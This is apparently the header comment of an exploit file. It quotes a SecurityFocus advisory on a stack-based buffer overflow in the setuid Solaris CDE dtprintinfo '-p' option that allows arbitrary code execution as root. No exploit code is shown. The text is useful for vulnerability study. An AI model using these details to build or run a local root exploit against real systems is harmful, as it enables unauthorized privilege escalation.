/* source: https://www.securityfocus.com/bid/249/info The dtprintinfo is a setuid commands open the CDE Print Manager window. A stack based buffer overflow in the handling of the "-p" option allow the execution of arbitrary code as root. This vulnerablity has been assigned Sun Bug# 4139394. The vulnerability is in the CDE 1.2 and CDE 1.3 subsystem of Solaris 2.6 and Solaris 7 respectibly.
